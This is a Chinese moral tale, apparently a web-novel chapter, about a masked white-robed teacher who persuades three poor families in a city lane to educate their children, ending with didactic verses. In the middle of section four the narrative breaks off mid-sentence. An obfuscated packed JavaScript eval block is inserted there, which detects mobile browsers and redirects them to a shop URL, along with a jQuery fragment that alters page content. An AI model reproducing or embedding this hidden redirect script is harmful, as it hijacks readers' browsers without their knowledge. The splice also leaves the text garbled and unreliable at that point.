楔子·陋巷三石


    东郭坊乃云州城最是鱼龙混杂之处。巷口第三家豆腐坊，店主陈三，每日寅时起身磨豆，辰时开张，十年如一日。他有个儿子陈石，今年十二，生得机灵，却最厌读书。陈三每每劝他：“儿啊，人不学，不知义。你看隔壁王秀才……”话未说完，陈石已捂着耳朵溜去巷尾，看卖艺的翻筋斗去了。


    巷尾有个铁匠铺，主人赵铁锤，人如其名，一身疙瘩肉，打起铁来火星四溅。他有个徒弟名唤石娃，十五岁，臂力惊人，抡得动二十斤大锤，可就是性子野得很，师傅说东，他偏往西。赵铁锤骂他：“你这块顽石，玉不琢不成器，人不学不知义，懂不？”石娃把铁锤一扔：“俺学打铁不就成了？学那些劳什子作甚！”


    巷子深处有家小茶铺，店主是个寡妇柳氏，丈夫早逝，留了个女儿唤作柳叶，年方十一，生得水灵，却是个闷葫芦。柳氏省吃俭用，送女儿去女塾认字，可柳叶去了三日，回来就掉眼泪——同窗嫌她身上豆腥味。自那以后，她再也不肯上学，只整日帮母亲洗茶碗、擦桌子。柳氏叹气：“叶儿，玉不琢不成器……”柳叶低着头，手指绞着衣角，一声不吭。


    这是宣和十七年九月廿三，秋雨初霁。东郭坊的早市刚刚开张，豆腐坊的白汽、铁匠铺的黑烟、茶铺的茶香混在一处，蒸腾出市井特有的暖意。


    一、 豆腐坊的石坯子


    陈三的豆腐是东郭坊一绝，白嫩如脂，入口即化。这日卯时，他正点卤，忽见一个白衣人立在铺前。


    来人戴着一顶竹丝编的斗笠，笠檐压得很低，遮去大半面容，只露出清瘦的下巴。一袭素白麻布长衫洗得发白，袖口挽起，露出手腕上几道浅浅的疤痕。腰间悬着一柄无鞘木剑，剑身纹理如老树盘根。最奇的是面上那方棉纱，浆洗得挺括，在晨雾中泛着月白的光。


    “掌柜的，来碗豆腐脑，多放辣子。”声音很平，听不出年纪。


    陈三应了声，盛了满满一大碗。那人并不就座，就站在石磨旁，用木匙慢慢搅着，忽道：“掌柜有个儿子？”


    陈三一愣：“您怎知？”


    “磨盘上有本《三字经》，书角都卷了，应是时常翻阅的。可见掌柜是读书人。”


    陈三苦笑：“读过几年私塾，后来家道中落……让您见笑。”


    “既读书，当知‘玉不琢，不成器’。”那人啜了口豆腐脑，“为何不琢令郎这块玉？”


    陈三的手抖了一下，卤水洒出几滴。他擦了擦手，长叹一声：“先生有所不知，我那小子……”便将陈石如何逃学、如何贪玩、如何听不进劝，一五一十说了。


    白衣人静静听着，待陈三说完，才道：“玉不琢，不成器。琢玉要用锉、用刀、用水磨。掌柜用的是什么？”


    陈三怔住。


    “你用的是嘴。”白衣人放下碗，木匙在碗沿轻轻一叩，“只说‘人不学，不知义’，可曾教他何为义？可曾让他见过不学之人的下场？可曾让他明白，不学，将来就只能像你一样，寅时起身磨豆，一日不磨，一日无食？”


    这话说得重，陈三脸上红一阵白一阵。


    “我不是瞧不起磨豆腐的。”白衣人忽然放软语气，“三百六十行，行行出状元。但你既望子读书，就该琢他这块玉。不琢，永远是块石头。”他往桌上放了三个铜板，“明日此时，我带他去个地方。”


    陈石这日又逃了学，溜到城隍庙看人赌骰子。正看得起劲，后领忽然一紧——是那白衣人。


    “小兄弟，带你看场戏。”


    “我不去！你谁啊！”陈石挣扎。


    白衣人也不言语，提着他穿街过巷，来到西市口。那里跪着一排人，个个蓬头垢面，脚上戴着镣铐。旁边有个文吏模样的人，正拿着册子念：


    “张二狗，目不识丁，受人诓骗，在借据上按手印，将祖宅抵了十两银，现流落街头……”


    “李三，不识契文，租田时被人做了手脚，五年白耕，倒欠田主三十石谷……”


    “王老四，不晓律法，与人争执，误伤人命，判流放三千里……”


    文吏每念一桩，人群里就发出一阵唏嘘。陈石看得呆了，他从未想过，不识字竟能落到这般田地。


    回去的路上，白衣人问他：“看出什么了？”


    陈石低着头，半晌才说：“他们……都是吃了不识字的亏。”


    “不只是识字。”白衣人停下脚步，从怀里掏出一块鹅卵石，又掏出一块玉佩，放在陈石掌心，“你看，这块石头，生在河边，千年万年还是石头。这块玉，原是石头，经了琢磨，方成美器。人不学，就如这石头，永远只是石头。学了，才能成器，才知什么是义，什么是耻，什么是人该有的活法。”


    陈石攥着那块玉佩，手心汗津津的。他想起父亲佝偻着身子推磨的样子，想起母亲夜里在油灯下补他撕破的书包，忽然觉得鼻子发酸。


    “我不做石头。”他小声说。


    “那要琢。”白衣人拍了拍他的肩，“很疼，但值得。”


    二、 铁匠铺的顽铁


    赵铁锤这几日很愁。石娃这浑小子，前日差点闯出大祸——西街绸缎庄的少东家来打柄剑，石娃抡锤时走了神，火星子溅到人家锦袍上，烫了个窟窿。少东家不依不饶，最后赔了三两银子才罢休。


    “你这块顽铁！”赵铁锤气得胡子直抖，“怎么就琢不成器！”


    “俺又不是玉！”石娃梗着脖子。


    正闹着，白衣人挑帘进来。他今日换了装束，斗笠去了，露出一头用木簪草草绾起的发，面上仍是那方棉纱。一身粗布短打，像是码头扛活的脚夫，可那柄木剑还悬在腰间，透着违和。


    “掌柜的，打把菜刀。”他声音有些哑。


    赵铁锤闷声应了，拉风箱，烧铁。白衣人却不看炉子，只盯着墙上那排打好的农具——锄头、镰刀、犁铧，一应俱全，可都粗笨得很，刃口也不甚齐整。


    “掌柜的手艺，十年如一日。”白衣人忽然说。


    赵铁锤手一顿：“客官这话……”


    “没长进。”三个字，轻飘飘的，却像锤子砸在砧板上。


    石娃不干了：“你谁啊！凭什么说我师傅！”


    “凭你打的这些。”白衣人随手拎起一把镰刀，屈指一弹，声音沉闷，“铁是好铁，可淬火差了火候，刃口卷了。这样的镰刀，割三亩稻子就得回炉。你师傅教了你十年，你就学成这样？”


    石娃脸涨得通红。


    赵铁锤却摆了摆手，看向白衣人：“客官是行家？”


    “略懂。”白衣人走到炉前，示意赵铁锤让开。他接过铁钳，夹起一块烧红的铁，放在砧上，抡起铁锤。


    那一锤下去，声音竟完全不同——清脆、绵长，像庙里的钟。接着是第二锤、第三锤……锤锤落在要紧处，火星子溅得有章有法。不过一盏茶功夫，一块顽铁在他手里渐渐有了刀的雏形。


    赵铁锤看呆了。他打了三十年铁，从未见过这样的锤法——不单是力气，更是眼力、心力。每一锤都恰到好处，多一分则过，少一分则欠。


    “这是……”


    “百炼钢的法子。”白衣人把成形的刀坯浸入水中，滋啦一声白汽腾起，“《天工开物》里写得明白，可你师徒谁读过？”


    师徒二人面面相觑。


    “玉不琢，不成器。铁不打，不成钢。”白衣人擦了擦手，“打铁不只是力气活。要知火候，看焰色；要懂淬火，看水纹；要明锻打，听声音。这些，书里都有。不学，你就永远是个铁匠，成不了匠师。”


    他看向石娃：“你有力气，是块好料。可好料不琢，就是废铁。你师傅肯教你，是你的造化。可你不学，不上心，把打铁当成混饭吃的营生。将来你师傅老了，打不动了，你怎么办？还打这种镰刀？”


    石娃垂着头，半晌，忽然跪下，对着赵铁锤磕了个头：“师傅，俺错了。俺学，俺好好学。”


    赵铁锤眼眶有点热，扶起徒弟，转身对白衣人长揖到地：“请教先生高姓大名？”


    “不必问。”白衣人摆摆手，从怀里掏出本书，纸张泛黄，是手抄的《锻冶辑要》，“这本书，给你师徒。字认不全，去问陈石，他这几日该用功了。”


    三、 茶铺的璞玉


    柳叶这几日有些奇怪。每日清晨，她去井边打水，总能遇见那个白衣人。


    那人总坐在井台边的老槐树下，膝上摊着一卷书，有时是《女儿经》，有时是《闺训》。见了柳叶，便招手让她过去，问几个字。起初柳叶怯生生的，低着头不敢说话。后来见那人眼神温和，声音也轻，才慢慢敢回答。


    “这个字念什么？”


    “……义。义气的义。”


    “对。那‘玉不琢，不成器。人不学，不知义’，是什么意思？”


    柳叶咬着唇，摇头。


    白衣人合上书，从怀里摸出两样东西：一块粗粝的石头，一枚温润的玉佩。


    “你看，这块玉，原也是石头。匠人得了它，要先去皮，看纹理；再切割，定形状；然后粗磨，细琢，抛光……每一道工序，都要用心，都要疼。可疼过了，就成了美器。”他顿了顿，“人不学，就像这块石头，永远不知道自己能成什么样子。学了，才知道什么是美，什么是善，什么是义，才知道人该怎么活，才不算白活一场。”


    柳叶怔怔地看着那块玉佩。晨光透过树叶洒下来，玉佩泛着柔柔的光泽，真好看。


    “你娘送你上学，是疼你，想琢你这块玉。同窗嫌你，是她们的眼被尘蒙了，看不见璞玉里的光华。可你不能因为别人蒙了眼，就把自己也变成石头。”


    柳叶的眼泪吧嗒吧嗒往下掉。


    “想读书么？”


    “……想。”


    “那就读。”白衣人把《女儿经》塞进她手里，“不认识的字，来问我。我每日卯时在此。”


    自那以后，柳叶每日早早起来，打了水，就跑到老槐树下。白衣人果真在那里，教她认字，教她念诗，教她“女子也有女子的道义”。


    柳氏很快察觉女儿的变化——眼里有了神采，说话有了条理，有时还能念几句诗。她偷偷去井边看过，看见女儿捧着书，一个字一个字地念，那白衣人静静地听，偶尔纠正，目光里有一种她说不清的东西，像是慈悲，又像是期许。


    这日，柳氏煮了碗桂花圆子，端到树下。


    “先生，多谢您教小女……”


    白衣人摆摆手，接过碗，却不吃，只问：“掌柜的，你可知道，你女儿是块璞玉？”


    柳氏苦笑：“什么玉不玉的，女孩子家，认得几个字，将来找个好人家……”


    “然后呢？”白衣人打断她，“相夫教子，浑浑噩噩过一辈子？掌柜的，你也是女子，你愿意你女儿像你一样，丈夫去得早，只能守着茶铺，每日擦桌洗碗，夜里对着一盏孤灯，连个说话的人都没有？”


    这话戳了柳氏的心窝，她背过身去抹泪。


    “我不是说这样不好。”白衣人声音缓下来，“可人活一世，总该知道，自己除了是某人的女儿、某人的妻子、某人的母亲，还是自己。读书，就是为了明白这个‘自己’。玉不琢，不成器。女子也是人，也该琢，也该成器。”


    柳氏转过身，深深一福：“求先生教我女儿。”


    “我教她认字，你教她做人。”白衣人扶起她，“茶铺里人来人往，是世间百态。让她多看，多听，多想。见了穷苦人，送碗热茶；见了伤心人，说句宽慰话。这就是义，是书本里没有的义。”


    他顿了顿，望向巷子深处：“这三家的孩子，各有各的顽劣，各有各的委屈。可都是玉，都是可琢的玉。就看大人们，肯不肯下功夫去琢了。”


    四、 琢玉会


    转眼过了半月。这日清晨，白衣人将三家大人小孩都叫到老槐树下。


    陈石手里捧着《三字经》，背得结结巴巴，但总算能背下大半。石娃捧着一柄新打的柴刀，刃口平整，淬火均匀，是照着《锻冶辑要》打的。柳叶捧着一页纸，上面是她自己写的诗，字还歪扭，意思却清浅：


    “井边老槐叶青青，白衣先生教我经。玉不琢时不成器，人不学不知义。”


    白衣人一一看过，点了点头，又摇了摇头。


    “不够。”他说。


    众人一愣。


    “陈石，你背《三字经》，可知‘人之初，性本善’何解？”


    陈石摇头。


    “石娃，你打这柴刀，可知为何要用山泉水淬火？”


    石娃挠头。


    “柳叶，你写这诗，可知‘义’字怎么写？”


    柳叶低头。


    “玉不琢，不成器。你们现在，只是粗粗磨去了石皮，离成器还远。”白衣人从怀里掏出三块玉佩雏形，分给三人，“这玉，我粗磨了，给你们。往后十年，你们自己琢。陈石，你要琢到能解经义；石娃，你要琢到能打百炼钢；柳叶，你要琢到能明道义。十年后，我会回来看。若还是这般模样——”


    他顿了顿，声音很轻，却重如千钧：


    “就真成了石头了。”


    陈三、赵铁锤、柳氏都肃然。三个孩子捧着玉佩雏形，像是捧着什么极其贵重的东西。


    白衣人转身，朝巷子深处走去。晨光拉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121153|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长他的影子，那身白衣在雾气中渐渐模糊。


    “先生！”柳叶忽然喊，“您……您到底是谁？”


    白衣人没有回头，只有一句话随风飘来：


    “琢玉人。”


    五、 十年之约


    宣和二十七年，秋，东郭坊。


    豆腐坊早已不是当年的小铺，三开间的门面，招牌上“陈记豆腐”四个字，是陈石写的，已有几分风骨。陈石穿着长衫，正在柜台后算账。他今年二十二，前年中了秀才，如今一边经营铺子，一边准备乡试。有熟客打趣：“陈秀才，还卖豆腐呢？”他笑：“玉不琢，不成器。豆腐也得天天磨，才好吃。”


    铁匠铺的招牌换了，叫“赵石精铁”。石娃成了掌柜，赵铁锤半退休，每日只坐在门口晒太阳。铺子里打出的刀剑农具，已是云州一绝。前些日子，有位将军路过，定了三十把马刀，说比军器监的还好。石娃摩挲着手里那块玉佩——已琢成竹节模样，温润生光——对徒弟们说：“听见没？玉不琢，不成器。铁不打，不成钢。都给俺仔细着！”


    茶铺还是那间茶铺，柳氏却已不怎么动手了。柳叶成了掌柜，还兼着女塾的先生。她把铺子隔出半间，摆上书架，让来喝茶的穷孩子免费看书。有那等闲人说闲话：“女子抛头露面，成何体统。”柳叶不恼，只笑：“人不学，不知义。我教人知义，有什么不好？”


    九月廿三，晨，雨霁。


    三人不约而同聚到老槐树下。那树又粗了一圈，井台也修葺过了。他们手里都捧着那块玉佩——陈石的琢成了玉牌，刻着“琢玉”二字；石娃的琢成了剑形，是他自己打的模子；柳叶的琢成了柳叶状，薄如蝉翼，对着光能看见叶脉。


    “十年了。”陈石说。


    “先生会来么？”柳叶问。


    “他说来，就会来。”石娃很肯定。


    可他们等了一日，白衣人没有来。只在天擦黑时，一个十来岁的小乞儿跑过来，递过一封信。


    信上只有十六个字，是上好的宣纸，墨迹淋漓：


    “玉已成器，不须再琢。人既知义，何必见我。”


    三人捧着信，对着暮色，忽然都红了眼眶。


    小乞儿又说：“那位白衣服的先生还说，他留了三本书，在井台石板下。”


    他们撬开石板，果然有三本用油布包好的书。陈石那本是《论语集注》，石娃那本是《天工开物》全本，柳叶那本是《古今列女传》。每本书的扉页，都用朱笔画了块未琢的璞玉，玉旁一行小字：


    “玉不琢，不成器。人不学，不知义。琢玉十年，今赠尔等。往后百年，尔等亦是琢玉人。”


    井水幽幽地映着暮色。远处传来豆腐坊的磨声，铁匠铺的锤声，茶铺的读书声。东郭坊的灯火，一盏一盏亮起来。


    尾声琢玉谣


    又过了十年，东郭坊出了三位奇人：陈石中了举，却不肯做官，在坊里开了间义塾，专收穷人家孩子；石娃成了云州首屈一指的匠师，每年拿出三成利钱，资助贫寒子弟学手艺；柳叶的女塾越办越大，收了三十几个女学生，有富家千金，也有灶下婢女。


    坊里的孩子都会念一首童谣，是陈石写的：


    “东郭坊，有三奇，


    豆腐西施铁匠诗。


    玉不琢，不成器，


    人不学，不知义。


    陈石琢玉成秀才，


    石娃打铁作匠师。


    柳叶烹茶教女经，


    三人皆从琢玉始。


    若问琢玉人何在，


    老槐树下井水深。”


    有个游学士子路过，听了这童谣，好奇去问陈石：“玉不琢，不成器——这琢玉人究竟是谁？”


    陈石正在磨豆腐，闻言停下手，望向窗外那棵老槐。


    “是个白衣人。”他说。


    “什么样的白衣人？”


    “戴着斗笠，蒙着面纱，悬着木剑。”陈石想了想，又添了句，“眼睛很亮，像是……能把人心里那点蒙尘都照见。”


    士子追问：“后来呢？”


    “后来他就走了。”陈石推起石磨，豆汁汩汩流出，“留下句话，说往后百年，我们都是琢玉人。”


    那天夜里，士子宿在坊中客栈。梦见一个白衣人影坐在井边，膝上摊着一本书，正低声教一个小女孩认字：


    “这个字念义。义气的义。玉不琢，不成器。人不学，不知义……”


    醒来时，天已微明。他推开窗，看见陈石的义塾里，三十几个孩子正摇头晃脑地念：


    “玉不琢，不成器。人不学，不知义……”


    晨雾中，那琅琅书声，像是从很远很远的地方传来，又像是就在耳边，一声一声，敲在心上。


    本章诫世


    一、 琢玉二训


    - 玉不琢，不成器


    - 人不学，不知义


    - 破解法：为人师长，自问“可曾琢玉？用何法琢？琢到何处？”；为人子弟，自问“可愿成器？如何成器？成何器？”


    二、 三家三璞


    - 陈石是块顽石——厌学贪玩，父纵不教


    - 石娃是块顽铁——野性难驯，师严不化


    - 柳叶是块璞玉——蒙尘不显，母弱不琢


    - 惕世：多少璞玉被弃于市井？多少顽石自甘沉沦？多少美器毁于不琢？


    三、 琢玉大道


    - 深层隐喻：世人皆玉，天生材质或有不同，然不琢皆不成器。琢玉之道，在因材施教，在锲而不舍，在百年树人


    - 终极指向：治国平天下，在育人。育人如琢玉，需慧眼识材，需苦心琢磨，需待以时日


    琢玉偈：


    东郭坊里三块石，顽石顽铁与璞玉。


    陈石厌学父纵容，人不学不知义兮。


    石娃野性师难驯，玉不琢不成器兮。


    柳叶蒙尘母不琢，玉不琢不成器兮。


    三家迷途不自知，白衣点破琢玉理。


    十年琢磨方成器，人不学不知义兮。


    后世叹：


    玉不琢，不成器，人不学，不知义。


    顽石厌学父纵容，顽铁野性师难驯。


    璞玉蒙尘母不琢，三家迷途各倒颠。


    白衣现身井台边，琢玉十年成美器。


    正是：


    市井巷陌藏美玉，不琢不磨总可惜。


    陈石厌学成顽石，石娃野性作顽铁。


    柳叶蒙尘为璞玉，三家各有不成器。


    白衣点破琢玉理，十年琢磨成美器。


    玉不琢兮不成器，人不学兮不知义。